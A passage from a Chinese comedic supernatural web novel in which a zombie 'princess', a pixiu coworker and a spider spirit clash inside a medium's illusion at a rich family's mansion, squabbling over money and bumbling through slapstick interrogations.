她都六十了,傲然立于人世间半辈子,难道也要像那些被幻境冲昏头脑的普通人一样,张牙舞爪要男人?
可对方是个凶煞,现在还是这幻境中一呼百应的存在,跟她对上属实不明智……索性先假装顺应,再寻机会制服。
任大师打定主意,赶紧举起手,学着其他人一般小声呼喊:“男人……我要男人……”
这一喊不得了,她心中的躁动像泄洪一样倾洒而出,整个人瞬间不能自已。
是啊,她都六十了,清心寡欲这么多年,为了精进道学放弃了一切……然而夜深人静,午夜梦回,她也压抑,她也寂寞,她也苦……
“男人!”任大师原本放不开的声音忽然变得激昂,“我要男人!!!”
这沙哑的嗓音,这浓厚的感情,一听就是清心寡欲好些年积攒出来的情绪。
辛姬指着逐渐疯魔的任大师,朝众人发话:“看到没有?都跟人老太太学着点!感情要充沛!嗓门要大!”
任大师从顾氏大厅一路跑到花园,跟鬣狗一样闻着腥味儿找男人,然而一无所获,她转头又要往回跑,忽然看到某堵围墙边上蛛网晃荡,一道靓丽的身影顺着白绳缓缓下爬。
那健壮的手臂,那宽肩窄腰丰臀荷尔蒙……
任大师两眼放光,嗷地一声扑了上去。
“男人!!!”
————
顾家面积最大的复式卧室里,辛姬正躺在kingsize全自动按摩椅上享受,任大师拽着两个人就走了进来。
“公主,”任大师满脸喜滋滋,“我找了两个男人回来!一老一少,很是可人!”
没等辛姬发话,默默守护的辛德和郑清心率先上前。
辛德打量了一番那两人皮相,满意地让出了路,郑清心高傲的眼神在那两人身上流连片刻,却忽然发出一声轻嗤。
老实巴交站在角落里的顾泉河的心一下子提了起来。
那御前侍卫为何这番作态?难道……是了,这才两个,公主可是要十个……这数量实在差得远呐。
顾泉河心头顿时涌上几分忧愁,他抬眼看看神色不明的辛姬,虽然不知道胸中那股子责任感从何而来,但终究是一咬牙,义无反顾地站在了队尾。
三个,也比两个强!
辛姬刚睁开眼就看见这一幕,立马厉声冷喝:“最后那老头,给我拱出去!”
脸都皱成橘子皮了还敢来竞选驸马?瞧不起谁呢!
顾泉河只好垂头丧气退回老伴儿身边。
任大师搓着手,恋恋不舍地看了顾泉河一眼,心中哀叹——小顾确实是有几分姿色,可惜入不了公主的眼……
安庆兰顺着任大师的眼神看向自家老头,反应过来顿时怒目圆睁。
他们俩?啊?啊?
虽有顾泉河美色诱惑,但任大师还是分得清孰轻孰重,她一闪身,亮出身后一老一少两人:“公主,您看这两人怎么样?”
年老的那人看着五十来岁,脸上皱纹横生头发花白,神色憔悴却难掩俊秀,赫然是秦英。另一个年轻男人看向辛姬的眼神直勾勾的,嘴角略微那么一扬,就透出点视财如命的铜臭气来,不是皮貅还能是谁?
辛姬:“……”
她定定看了片刻,忽然撇开头闷闷开口:“报看,拉走拉走!”
皮貅看了辛姬半晌,眼中闪过几分怀疑,忽然冷声开口:“下班打卡了吗?早退扣两百!”
室内众人神色茫然,唯有辛姬飞速驳嘴,嘴皮子无限丝滑。
“六点一刻我就打卡了!不算早退!”
皮貅一扯嘴角,笑容冷冽:“哟,公主还知道打卡呢?哪个朝代生人啊?”
……都怪这破嘴,接这茬干嘛?!
辛姬面上浮现几分懊恼,还想再找补几句,对面的皮貅忽然开始宽衣解带,颐指气使:“你们都退下,我要给公主侍寝了。”
辛姬大惊,立马制止:“哎,别!丑男人别想近我的身!”
皮貅顺势凑上前,咬着牙低声威胁:“那你这个月工资别想要了。”
“……”辛姬赶紧挥手,“就他了,走,你们都走!”
辛德和郑清心立马响应号召退出去,顾氏老两口同样手脚麻利,唯有任大师脸上一喜,淫、邪的目光在秦英身上转悠,桀桀冷笑着就想把他拖走。
辛姬看了看秦英那弱柳扶风的模样,到底不忍心同事受摧残:“这个老的也留下。”
任大师眼中闪过几分遗憾,但也只能退场。
大门一关,室内只剩三人,皮貅上半身脱得就剩个背心,却还在继续宽衣解带。
“人都走了,”辛姬疑惑发问,“你这是干嘛?”
没成想皮貅忽然勾唇一笑,手指顺着辛姬的胳膊往上一抚,直接揽住了辛姬的肩头。
皮貅魅惑一笑,唇红齿白眼眸勾人,声音仿佛低了八个度,字字句句锤在辛姬的心巴上:“还能干嘛?侍寝啊。”
辛姬愣了一下,不由审视着眼前这人。
虽然她一直喊“丑男人”,但皮貅实际上颇有几分姿色,要不……
辛姬搓着手,发出嚯嚯淫、笑:“嘿嘿嘿~要不我就凑合凑合?”
皮貅一愣,原本笑嘻嘻的脸瞬间沉得比锅底还要黑。
五分钟后,皮貅冷着脸,一路踹着辛姬的屁股把僵从东踹到西。
“凑合,凑合!你还真想凑合?听不懂好赖话?!”
“就你这样的,还想让我侍寝?胆子真肥!就这么个小幻境都破不了,还叫同事过来加班,懂不懂规矩,懂不懂规矩?”
辛姬仗着皮糙肉厚死不悔改,梗着脖子大吼:“你敢蔑视公主?!”
皮貅本来都有点累了,闻言跟加了蓝似的,小腿弹得又快又有劲儿:“什么公主?什么公主?你算什么迪S尼公主?!有本事你拿这个公主身份让局里给你交社保啊!”
辛姬这下没话说了,等皮貅抱臂冷脸喘气恢复体力之际,她就蹲在地上揣着手,吧嗒吧嗒抽旱烟。
俩人都倔的跟头驴似的,谁也不服谁,气氛瞬间降到了冰点。
秦英坐在床边看了半天戏,这会儿才敢上前,他轻柔揽住辛姬的肩头,那温柔的姿态,那沧桑的面容,仿佛辛姬多年的老友。
“哎,小辛,你别怪组长发火,他也是担心你们。刚刚我们俩一路跑过来,一想到你们身陷囹吾就
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急得不行,为了不打草惊蛇,甚至是翻墙进来的……”
辛姬瞬间抓住华点,瞪着皮貅怪笑一声:“呵呵,说得好听,还不是叫人抓住了?”
这句话没抨击到皮貅身上,反而一下子刺痛了秦英的心——他蓦地想起自己刚才翻围墙进来的时候,那个神婆“嗷”地一下扑了过来,粗粝手掌在他身上胡乱揩油,他一个二百岁的蜘蛛精,冰清玉洁洁身自好好好做人,哪受过这种屈辱……
然而这种事,他又能向谁诉说?
秦英揣着心里苦闷又坐回了床边,再没吭声。
“现在说再多也没有用,都过来想想怎么办吧。”
皮貅一招手,三人霎时围成一个圈儿,对了个眼神,同时坚定地攥起了拳头。
秦英歌声嘹亮:“打破幻境!”
辛姬和皮貅异口同声:“拿到顾家的钱儿!”
秦英:“……什么?”
皮貅瞥了秦英一眼,叹息着摇头:“咱们打破幻境走了,难道就把人民群众的生命安危拱手交给妖魔?难道要把顾家那么多钱留给妖魔当祸乱启动资金?你啊,拼劲有余,灵活不足,总是想得不够长远!”
“就是,我一个僵尸都知道得救人,”辛姬嚷嚷完,扭头抚摸着一套红木贵妃榻,看了又看,满意得不得了,“这个榻可好可好,卖出去可值不少钱儿呢!”
“……行吧,”秦英第三次坐回床边,“你们说咋办就咋办吧。”
辛姬和貔貅对了个眼神,同时做出行动——
辛姬扯着嗓子张口就喊:“安妈,安妈!”
安庆兰低眉顺眼跑进来,正跟皮貅擦肩而过,她站到辛姬面前,低声应道:“哎!公主有什么吩咐?”
“你的手机呢?”辛姬叉着腰颐指气使,“快给我拿过来!”
安庆兰愣了几秒,见辛姬面露催促,她赶紧胡乱点头跑了出去。
辛姬还在幻想着从安庆兰这边捞笔大钱儿过上挥霍无度生活,嘴角压都压不下去,结果就见安庆兰拎着只活鸡噔噔噔跑了回来。
安庆兰举起活鸡,满脸淳朴:“公主,鸡来了。”
辛姬连说带比划:“我说手机,手机!你听懂了吗?”
安庆兰神色茫然,嘴皮子却还利索道:“咱们辛国可是封建王朝,哪有手机?”
……完了,这老太太彻底陷入幻境设定了。
辛姬耐心售罄,索性撸起袖子自己找。
同一时刻,屋外的皮貅拽住了顾泉河的胳膊,低声逼问:“顾家的保险箱在哪?宝贝又在哪儿?”
顾泉河闻言,顿时露出警惕的神色,他谨慎地观察了几眼四周,朝着皮貅小幅度招手:“跟我来。”
两人七拐八拐,最终停在二楼尽头一间房门口,顾泉河进去之前还轻轻敲了几下门。
怕惊扰到宝贝?这么虔诚?
皮貅面上不显,原本吊儿郎当插兜的手却抽了出来,整整衣领,正色起来。
顾氏富得流油,家里的宝贝肯定也不一般,是10000克的金板砖?还是3000克拉的大钻石?他也不好拿些太显眼的东西,运点古玩玉器、珠宝钻石就行了,实在不行还是简单粗暴揣点金条……
“咳、咳咳!”
门一开,一阵撕心裂肺的咳嗽声迎面而来,顾泉河站在一张大床边上,尽情展示,脸上表情那叫一个自豪:“这就是整个顾家最大的宝贝——顾家的,根!”
“咳!”顾珂白着一张脸躺在床上,阴鸷看来。
每一次呼吸都仿佛是对皮貅的一次挑衅。
皮貅发家致富的笑容凝在脸上:“……”
他气极反笑,看着那个靠在床头的恶鬼,缓缓转动腕关节,小嘴吐出冰凉的话:
“顾家根是吧?”
“今天晚上,让你痛失你的根儿。”
15. 恶人牵手
该说不说,老一辈能发家致富的人都不是什么软蛋——至少顾泉河绝对是嘴硬心狠。
亲儿子都叫人拽着脖领子快揍成孙子了,顾泉河愣是咬牙只有一个回答:“不知道,什么金啊玉的俺家全没有,整个顾家就只有小珂这一个宝!”
“这样啊……”皮貅轻叹一声,低头用手背拍了拍顾珂的脸蛋,满脸幸灾乐祸,“你听到了?你爹说你家没其他宝贝了,还抵抗什么?跟我走吧,顾家宝。”
说完,皮貅拽着顾珂的脚踝就往外拖。
长长的指甲在木地板上抓出道道划痕,眼前的一切越来越远——温暖的床,安全的房,趁机背身将金库钥匙吞进口中的老爹……
顾珂胸腔中蓦地涌出一股悲愤,翻身一扭,忽然无视重力猛地朝皮貅扑去!
天不容他,他就逆天而行!正好有这么完美的躯壳在眼前,他就算拼了这条命,也要过一次帅哥的人生!
————
顾氏大厅,郑清心正揣着绣春刀趾高气昂四处梭巡,就听头顶忽然传来一道吆喝——
“顾家宝,咱们走!”
郑清心扭头一看,正看见皮貅踩着个冲浪板从二楼楼梯冲跳了下来,那屈膝平衡的帅气姿势,那举重若轻的淡然表情,看着贼拉风。
“酷!”
郑清心忍不住喝彩。
“砰”地一声,冲浪板落在地上往前滑了小半米,皮貅跟拽着缰绳控制着冲浪……哪儿来的缰绳?
郑清心赞赏之际目光下落,这才猛然发现——皮貅脚下踩着的哪是什么冲浪板?分明是命运多舛的顾大少爷!
郑清心深吸一口气,声音不由自主狂热起来:“这也太酷了吧!”
然而皮貅却是一扔缰绳,兴致缺缺:“没浪,不好玩。”
正巧辛姬翻遍豪宅遍寻手机无果,见顾珂出现,赶紧跑过去摸了几把。
顾珂从身到心被折磨了一遍,趴在地上一动不动任辛姬摸索,一副看破红尘心已死的死样子。
就这辛姬还是没找着手机,顿时大失所望:“难道我今天注定拿不到顾家的钱儿?”
这怎么行?没有投资,她还怎么后台操作当市长?
人群中,任大师在看到顾珂的脸庞时浑身一震,当即想起了一切。
随即她就回想起,自己刚刚高喊着男人啊寂寞啊压抑啊苦什么的,顿时老脸燥热。
皮貅眼尖地捕捉到这不同寻常的反应,一把拽过辛姬,低声提醒:“那个老太婆不对劲,她好像没被幻境控制。”
“哦,没事,就是她整的这个没屁用的幻境。”辛姬顺着皮貅的眼神瞥了眼任大师,随口说道,接着反手拽住皮貅的胳膊,“你找着顾家宝贝没有?”
皮貅沉默了两秒,语气平静得可怕:“你都知道是谁在搞鬼,不自己锤她,还摇我过来加班?”
辛姬哪儿能背这个锅,赶紧推托:“不是我叫的,是郑清心叫的。”
下一秒,郑清心就对上了皮貅平静的眼神,虽然他觉得自己和公主的面首应该素不相识才对,但不知为何心底忽然感受到了恐惧,赶紧撇头避开。
宝没寻到,还搁这儿义务加班,皮貅心情糟糕得一批,更不想再浪费时间。
他直接看向辛姬:“还等什么?赶紧把这个罪魁祸首给我揪出来。”
“顾家宝贝……”
皮貅简直懒得废话:“就你脚底下那个,顾家的根,你要不要?要你就拿走。”
这就?就这?!这不是玩弄市长吗?!
辛姬气得直咬牙,一下蹿到电视柜上,指着任大师和顾氏老两口就开始发号施令:“把这三个异教徒给我抓起来!”
这话一出口,在场诸多佣人瞬间乌泱乌泱扑了过去,三人瞬间被按到了辛姬面前。
皮貅:“……”
怪不得辛姬愿意留在幻境里,瞅瞅这场面,简直是一呼百应,这权利得多大呀!
“贱民冤枉!”顾泉河急得大喊,“我们顾氏一家忠心耿耿!公主饶命啊!”
“放开我!”任大师内心抗争激烈,躯体却因为公主教徒的重压而纹丝不动,“否则你们谁也别想出去!”
皮貅抱臂站在任大师面前。
按理说他该走流程,问点任大师的目的啊犯案过程啊背后有没有人要不要请律师啊的讯息……但现在可是在加班。
一想起自己是在义务劳动,皮貅就觉得累,实在是太累了,他站了几秒,索性退后,言简意赅:“吊起来打。”
任大师:“……”
任大师僵滞了一瞬,一想刚才的暴力冲突,再看看桌子底下被打成球样的顾珂,最后看看周围摩拳擦掌的人们,简直破大防:“等等!我可以帮你们解除幻境,但是……”
皮貅懒得多听废话,发声催促:“直接打。”
任大师嗓子嘶哑:“我现在就解除!我现在就解除!”
十分钟后,活鸡活鱼被摆上祭坛,任大师一手符篆一手剑,绕着祭坛神神叨叨跳大神。
辛姬啃着番茄欣赏,偶尔还跟旁边辛德讨论:“你别说,这阵效果不咋地,当个歌舞节目看还真不赖。”
辛德缓缓摇头,也不知道哪儿来这么大怨气,反正对整个世界充满挑剔:“比起公主的祭祀舞差远了。”
任大师身形一僵,不忿地看了辛德一眼,随即端起桌上威士忌大饮一口又冲天“噗”地喷出,扯着破锣嗓子大喊:“破!”
酒雾纷纷扬扬洒落,现场无事发生。
“干活这么懈怠?”辛姬撸起袖子就要上前,“看来我真得好好调教调教你了!”
“等等,我再来一次!”
任大师手忙脚乱再喝一口威士忌,满面惊慌又跳了起来,没跳几步,她忽然如同当胸中了一拳,酒混着血“噗”地一口喷洒出来,随即整个人直愣愣栽倒在地,再没动弹。
顾泉河尖叫出声:“啊!!!死人啦?!”
郑清心手里的绣春刀咣铛一下掉在地上:“好好一条鲜活的生命,就这么逝去了?”
说完他左右脑互搏,一边沉溺于幻境一边念叨着什么“人民的力量”“科学的力量”,然而无人搭理。
安庆兰哆嗦着上前:“要不,要不赶紧把她挖坑埋了吧……放在大厅多不好啊,影响整个屋子的格局。”
趴在地上装死尸的任大师闻言,顿时小嘴一歪。
“都别乱出馊主意了,”皮貅到底是公职人员,天生有一种统管大局的责任感,他站出来冷静建议,“把她剁成八瓣试试,说不定这样幻境就能破了。”
任大师:“……”
“不,这样对死者,不尊重!”
辛姬的声音充满正义,如雷贯耳,虽然时机不对,任大师的内心却因此泛起涟漪。
如果不是在这个错误的时间,错误的地点,如果辛姬没能捡起那个红包,或许她们可以成为无话不谈的忘年老友……
辛姬眉目一凛,凭借着自己尸变多年的经验说道:“这年头可容易产僵尸了,必须把这隐患排除掉,我提议——咱们大家一起烧了她!!!”
“公主说得对!烧!烧!烧!”
“Fire!Fire!Fire!Fire!”
眼见群情激奋,辛姬满意点头——毕竟公主就是这
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样,一呼百应!
任大师悬着的心,彻底死了。
耳听着辛姬已经开始使唤谁抬胳膊谁抬腿,任大师赶紧爬起来:“我没死!我不会变僵尸!别杀我!”
然而群众的声音瞬间将她这道微弱的求饶声压下,任大师刚站起来就被捆住手脚扛了起来。
被人民的力量。
“Fire!Fire!Fire!Fire……”
一群人喊得跟游行抗议似的,郑清心举着拳头喊得嗓子劈叉,口干舌燥之际反手一摸旁边桌上的茶杯,杯里头却是空的,没等他再摸茶壶,一只手就伸了过来,拉茶一样将壶中的液体倒了过来。
“渴了?喝点开水吧。”
“谢谢昂!”
郑清心一通牛饮,突然嗓子一阵刺痛,他拧眉低头看去,正看见茶杯残留的澄清开水中沉浮着许多细碎头发茬。
……这也忒埋汰了!
郑清心嫌弃地“噫”了一声,忽然一阵恶心,额头冷汗岑岑,随即就是眼前一黑。
人民力量大,神婆上绞架。
群众已经举起了火把,一场审判在所难免,辛姬清了清嗓子,还想再发挥公主的绝对权力说两句悼词,忽然一个庞然大物朝着她面门袭来——
“唰!”
辛姬下意识亮出锐利指甲、一爪子划过去,沉重名贵的红木电视柜瞬间被劈成了木柴。
辛姬露出肉痛的表情,吱嗷一声嚎了出来:“我的电视柜!!!”
她打定主意离开幻境时要拿走的!都惦记一晚上了!
与此同时,一道模糊黑影骤然蹿上高台,一把拔起任大师以及绞刑架。
“顾家根?!”
皮貅看清那道狗狗祟祟的黑影,立马眉头一拧,就要冲上前,下一秒,一把绣春刀直接劈了过来。
郑清心握刀挡在皮貅前方,双眸漆黑神色狠戾,周身萦绕着诡异的黑气,那黑气凝结成绳远远朝着顾珂延伸,显然不知何时一人一鬼之间产生了联系。
顾珂扛着任大师桀桀桀冷笑几声,扭头就跑。
皮貅和辛姬还想追,郑清心却狂性大发,绣春刀耍得虎虎生风,边砍边骂那句沁入骨髓的口号:“我要杀尽天下恶鬼!我要铲除害人妖魔!我要当八组组长!我还要当局长!啊!!!”
情到浓处绣春刀都被打脱手,他又不知从哪儿摸出俩奇形怪状还包着布的大车轮子乱挥乱舞,所到之处人人躲闪。
黑影都跑出天边了还得呼哧呼哧跑回来怒斥:“还不快跑!!!”
郑清心身形僵滞一瞬,随即双手一抖楞,那俩车轮瞬间化成了个折叠轮椅,他又薅大葱似的从某个桌子底下拽着条腿,把双目紧闭的顾珂提溜上轮椅推着就跑,那速度,轮子都恨不得擦出火花。
辛姬一愣:“怎么两个顾家根?”
皮貅“歘”一下蹿出去追的同时没好气道:“一个是魂,一个是他的躯壳!你个千年老僵这都看不出来吗?还不快追!”
皮貅和辛姬沿着顾氏那八百平豪宅一通转悠,完了又上后花园那一千来平跟原野森林似的地界溜达了两圈,恶鬼没看到,但……心中那股子对有钱人的愤懑越发浓厚。
志同道合的两人对了个眼神,双双在对方眼中看出了不甘心——难道顾氏这么大的家业,今天真要拱手让人?
不可能!这钱儿不落到他们手里,那就谁也别想拿走!
两人对视一眼,默契牵手——
皮貅眼眸一眯,坏得流油:“你对付那个老神婆,我对付那个小恶鬼。”
辛姬赞赏点头:“就这样办,一个活口都别留!”
16. 无耻之徒
牵手成功,辛姬皮貅默契转身,急不可耐地跑回了顾氏大厅。
御前侍卫叛逃这事儿对辛德打击颇大,辛姬和皮貅跑出去后,她直接高压控制住所有人口,誓要将将背叛的萌芽掐灭在摇篮之中。
辛姬大眼一扫,指着角落里的顾氏老两口下令:“把这俩老贼给我叉上来!”
辛德精神一振,鹰爪般强劲有力的两手瞬间袭上顾氏老两口的后脖颈。
“刺啦!”
“啊?!!!”
两道惊呼伴着布料撕裂声响起,只见顾氏老两口优雅得体又厚实的绸缎上衣被辛德一把撕碎,安庆兰身上还好,还穿着条皱巴巴的白背心,顾泉河却是袒胸露背,羞得一把捂着了自己的身体。
辛德视若无睹,只一味地将工业毛刷蘸进墨水,在两人背后写下大大的“囚”,随即一把将两人推倒在地。
顾氏老两口跪在地上茫然抬头,就见辛姬居高临下抱臂冷脸,语气令人胆寒。
“你们俩要是识相,就赶紧把来龙去脉交代清楚,再把那逃跑的贼人去向交代清楚,不识相……可就别怪我辣手摧花、翻脸无情!”
在众人面前衣不蔽体的屈辱、被诘问的疑惑、老实本分半辈子却遭此对待的悲愤……复杂的情绪几乎将顾泉河压垮,然而妻子还在身侧,他,必须像个男人一样负起责任来!
想到这里,顾泉河勇敢地放下手,挺起胸膛大声道:“俺不知道什么龙啊脉的,俺只知道,俺是个安安分分的地主!公主不能这样对俺!”
“你是地主?我可是公主!”辛姬含笑点头,眼神却没有一丝温度,宛如一个残酷的皇权代言人,“等会皮鞭打你身上,你就知道对公主嘴硬的下场。”
说完,辛姬笑容一敛,眼神森森——
“来人呐,把他们给我吊起来打!”
辛姬话音刚落,辛德已经给顾氏老两口的双手套上了麻绳,眼看麻绳另一端就要挂上房梁、展开一场惨无人道的刑讯逼问,顾氏老两口吓得说不出话来、双腿直打摆子。
关键时刻,一道正义的身影站了出来——
“慢着!”皮貅一把推开辛姬,话语中充满了不赞同,“这可都是人民群众,你怎么能动用私刑?”
更重要的是,就算这老两口做得不对,出去了,人家俩可还是大富豪,他还得跟人好好相处呢!
皮貅这么一想,声音越发洪亮:“你让开,我来审!”
辛姬心里可不服气,但官大一级压死人,她只得不情不愿退到旁边。
这下子,皮貅在老两口眼里简直跟神兵似的——特别是他一上来就是怀柔政策,先摘下顾泉河手上的麻绳扔在地上,又扶着安庆兰坐下,不光给受惊的老两口端了热茶,甚至贴心地准备了裹身小毯子。
辛姬眼看着皮貅一套安抚被害者的丝滑小连招,转眼就获得了老两口的信任与依赖,比郑清心手段不知高级了多少,心里正愤愤,突然一个激灵。
不对!皮貅可也是体制内!难道他也想走仕途?
辛姬心中顿时警铃大作,犹豫不定地看向皮貅,生怕错过一丝一毫的细节。
刚才二人结下的盟约已然出现裂痕,然而皮貅只顾着冲富豪示好,并未察觉辛姬的转变。
他握住顾泉河的双手,轻声细语安抚道:“你们别怕,我皮貅在这,谁也别想伤害你们!”
“哎!”顾泉河眼底泛起泪花,感动得声音直打颤,“谢谢你,皮老爷!”
这下子辛姬确定了——皮貅就是在趁机拉选票!
好哇,先假意跟自己结盟,等她朝着百姓扮白脸,他就趁机扮红脸博好感!好一个无耻之徒!
辛姬顿时气得咬牙切齿。
“不过,你们还是快想想吧,”皮貅谆谆诱导,“你们原本是什么身份,为什么进了幻境,那老神婆和小恶鬼现在又跑到哪儿去了?”
“我也不想逼你们,但只有你们凭借自己的意志力脱离幻境,我们才能尽早从这里出去。”皮貅瞥了一眼辛姬,满脸为难低声道,“顾先生,安女士,你们在现实里可都是有头有脸有地位的人,总不会想一直生活在封建社会的统治下吧?”
顾氏老两口顺着皮貅的目光往旁边一看,顿时吓得浑身一颤——只见辛姬站在不远处蓄势待发,眼神凶恶,似乎只要一个契机,就会立刻冲过来撕碎他们。
可他们到底是谁呢……
顾泉河痛苦地摇着头,喃喃自语:“我、我真的想不起来了……庆兰,庆兰……拿水来……”
在这种哼哼唧唧叽叽歪歪的絮叨声中,安庆兰忽然眼神涣散。
她想起了午夜梦回被顾泉河推醒要水喝的曾经,想起了哄着孩子睁眼等天明的过往,想起了恶婆婆刁公公刻薄小姑,还有她遥不可及被埋藏在心底的文青梦……
安庆兰仿佛恢复了一丝神智,颤抖着嘴唇:“我,我想起来了……我是,我是……”
皮貅大喜:“你是什么?”
安庆兰长长地抽噎了一声,语不成调:“我是……顾家的,囚、徒!”
皮貅脸色大变,猛地起身一脚踢翻茶几:“胡说!”
他抓起地上一块又大又尖的玻璃碎片,直接抵在顾泉河脖子上,桀桀狞笑的模样比那恶鬼还要凶残几分,声音阴森而低沉:“老东西,你最好趁我还没生气,赶紧说实话!”
“刚刚那句……也不是我说的啊!”
顾泉河简直要吓疯了,泪如泉涌,仰着脖颈一个劲儿打摆子,安庆兰更是吓得脸色歘白。
辛姬却是大喜——她表演亲民拉选票的机会,来了!
她一个箭步冲上来,抓住顾泉河往旁边一甩,用钢铁身躯阻拦皮貅的同时还不住朝老两口摆手,那美不滋的表情跟多快乐似的:“别理他,他脑子有病!”
顾泉河和安庆兰你挤我我挤你,在角落里缩成一团,一点不敢吭声,在他们俩眼里,阴晴不定的皮貅固然有大病,但辛姬也没好到哪儿去!
本性暴露,皮貅索性也不再装温柔,直接居高临下抱臂施压:“想!再想不出来,我把你们一个二个全杀喽!”
一个疯癫的公主,一个伪善的暴徒——顾氏老两口心脏病都快被吓出来了,还想个屁啊!
眼看顾氏老两口一个劲儿哆嗦着摇头,皮貅冷笑一声,凉凉开口:“这都想不起来?你们俩要么是记性不好,要么,就是坠入了邪道。”
此话一出,顾氏老两口一下子愣住了。
顾泉河面露犹疑:“你这是什么意思?”
皮貅眼眸微眯,神色凝重,矛头直指顾泉河:“前天晚上十点半你在哪儿?!”
顾泉
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河愣愣开口:“在……在睡觉?”
“说谎!”皮貅瞪眼怒斥,“现代社会,哪有人不熬夜!”
顾泉河恨不得击鼓鸣冤:“我年纪大了睡得早……”
“我局张局长五十多了,夜里两点还在刷弱智小视频,”皮貅长舒一口气,缓缓摇头,语气坚定而低沉,“不熬夜的,都不是人。”
辛姬找到机会刷存在感,断然点头:“没错!”
顾泉河发出茫然的颤音:“……啊?”
皮貅又扭头看向安庆兰,严肃发问:“平时按时吃饭吗?”
安庆兰下意识摇头:“最近在医院陪护,老是错过饭点……”
皮貅顿时乐了,看向自己的捧哏辛姬,指着安庆兰:“小辛,你怎么说?”
“这还用说?是鬼没跑了!”
辛姬牢记自己的亲民路线,可问题是鬼也没那个投票权啊!放弃老两口的选票后,她整个人轻松自在多了,舒展地一甩胳膊。
“这年头,是人是妖到了饭点都得整点儿,也就那些游魂野鬼才不吃饭呐。”
说完她甚至无师自通,看向安庆兰:“记性怎么样?平时爱出门吗?”
安庆兰身形都矮了半截:“不……”
“你个孤魂,”辛姬指着安庆兰一锤定音,复又转身遥遥一点顾泉河,“你个野鬼!”
“野鬼”二字如同一把小锤,重重砸在顾泉河心上,他胸口一阵难受,心中不由得产生几分怀疑。
难道,他们真的……是鬼?
皮貅低沉的声音响起,夹杂着几分诱惑环绕在二人身边:“镜子驱妖邪,看看吧,看看……你们究竟是什么东西……”
心底有道声音叫嚣着不要听从,顾泉河却不由自主地动了,扭头看向墙边那道装饰镜,下一秒他浑身一震——镜面中清晰照出了顾泉河和安庆兰青面獠牙、支离破碎的脸!
“啊!!!”
顾泉河脸色瞬间苍白大叫一声,同样看到镜中景象的安庆兰也没好到哪儿去,两人双腿发软,对视一眼,都从对方脸上看出了惊慌。
皮貅神色逐渐冷冽,抖楞出铜钱剑,姿态兼具力量与优雅地抹了一下剑身:“恶鬼,束手就擒……”
一句话还没说完,一道身影忽然挡在了皮貅面前。
辛姬一抹口水,笑得比在场众人都像反派:“香,真香,两个老鬼,居然带着人味啊……邪了门了,我差点没认出来!真是善于伪装的美味小点心啊~”
……那是因为他们本来就是人!
他费劲巴拉诱导这老两口以为他们已经变鬼,是为了让他们遭受刺激从幻境中觉醒,不是为了让辛姬抽风吃人的!
“这没你的事,起开!”
皮貅伸手扒拉了一下辛姬,然而辛姬纹丝不动。
辛姬怀揣着市长梦而来,人都上桌了却啥也没吃,叮铃咣当在这闹腾大半宿,早就饿得不行了,美味小点心在前,这还能忍?
辛姬“嗷”的一声直接扑了过去。
顾氏老两口吓得抱头逃窜,眼看就要被辛姬的长指甲刺个对穿,皮貅这下再没法淡定,大惊失色地扑过去挡住:
“嘴下留人!”
他手底下的公职人员,要真吃了人还得了?!
就算吃,起码不能当着他的面吃!!!
17. 一对怨侣
整个顾家大厅充斥着辛姬的怪笑,顾氏老两口只顾抱头鼠窜、身心都被狠狠折磨,皮貅从原本的制裁者变成顾氏老两口的保护者,叮叮咣咣跟辛姬打在一起,着实心累。
铜钱剑猛地往辛姬头顶劈去,辛姬眉目一凛,直接使出一击空手接白刃,两人瞬间僵持住。
“住手!”皮貅气得简直要咬牙,“你是不是傻?看不清现在的状况吗?”
别说看不清了,辛姬连听都听不清,满心满眼都是小点心。
眼见顾氏老两口趁机狗狗祟祟想要溜出大厅,站在旁边观看半天的辛德忽然胳膊一抻,长鞭瞬间缠住顾氏老两口的腰身。
顾氏老两口刚发出一声惊呼,就被长鞭甩到了辛姬身后的角落。辛姬大喜,一把推开铜钱剑,张牙舞爪就冲顾氏老两口飞了过去:
“咯咯咯~美味小点心我来喽!”
“啊啊啊啊啊!!!”
顾氏老两口再无路可逃,缩在角落挤成一团,满脸惊恐。
皮貅生怕辛姬真把这俩人啃喽,牙一咬心一横,核心收紧朝着辛姬后背心一个飞踢。
“砰!”
老两口失声惊叫,眼睁睁看着那个狰狞甩口水的女妖怪在一步开外被踢飞,利爪险些擦过二人的脖颈,还没松口气,又是一柄亮闪闪的铜钱剑顺势劈来,剑锋冷硬的铁味儿扑面而来。
皮貅咬着牙,神色绷得比辛姬还狰狞——成不成的,就看这一剑了!
千钧一发之际,老两口心中迸发出浓重的绝望,顾泉河的热血直奔天灵盖,跟被拔了瓶塞的香槟瓶似的脱口而出:“我们不是鬼,我们不是鬼啊!小珂才是鬼!”
此话一出,顾泉河的脑袋一片清明,瞬间记起了一切。
铜钱剑顿时止住,就悬在顾泉河眼前。
皮貅缓缓收了铜钱剑,笑容和煦,跟刚才那神色狰狞疯狂追杀顾泉河的简直不是同一个人。
“您二位能记起来不就行了吗?这到底是怎么回事儿,赶紧说说吧。”
事已至此,大势已去,顾氏老两口对视一眼,只能哀哀戚戚将一切全盘道出——
“事情,还要从三十年前的一个冬天说起,”安庆兰眼神远远地看向虚空,“那时候我怀胎十月,正在医院待产,寒风刺骨暴雪连天,天空忽然飘来一片七彩云朵,似龙似虎似擎T柱,我一看就开始阵痛,从那时候我就知道小珂生来不同寻……”
“锵!”
铜钱剑劈在地上,擦出一串火光,皮貅眼神冰冷发出威胁:“说重点。”
安庆兰语速飞快仿佛在说Rap:“两个月前我儿顾珂遭遇车祸险些丧命,任大师如神兵天降出手相救,还提供给我们红包续命的办法。”
听到这里,因为饥饿和队友背刺而蹲在旁边生闷气的辛姬立马站了起来,满脸不忿地指着安庆兰:“你看吧,我就说是折寿红包,这老太太还非跟我犟!敢谋害公主,我吃了她都不足惜!”
经过刚刚那一番闹挺,安庆兰这会儿压根不敢吭声。
“还念叨着吃?僵性不改是吧?等回局里我再收拾你。”皮貅点了点辛姬,随即催促,“继续讲,讲清楚点,别再扯你们那破Rap。”
不能讲Rap?那实在为难。
眼见安庆兰唇瓣开合咋也张不开口,顾泉河只得承担起一家之主的责任,接力讲述——
其实说来也简单,几个月前机缘巧合,顾泉河夫妇俩在饭局上通过熟人认识了任大师——据说她功力深厚,不但能驱邪镇宅保平安,还能风水聚财咒对家,来京市不过半年就在圈子里声名鹊起。
顾泉河是个本分商人,年轻时和安庆兰白手起家,也没整过这玄乎事儿,但盛情难却,就随口问任大师求了张平安符,任大师问过顾珂的八字后忽然态度热切,扬言顾珂近几日必有大灾。
顾家在京市也算门头显赫,他们夫妻俩顺遂了大半辈子,没什么遗憾,只有一个心病——他们唯一的儿子顾珂。
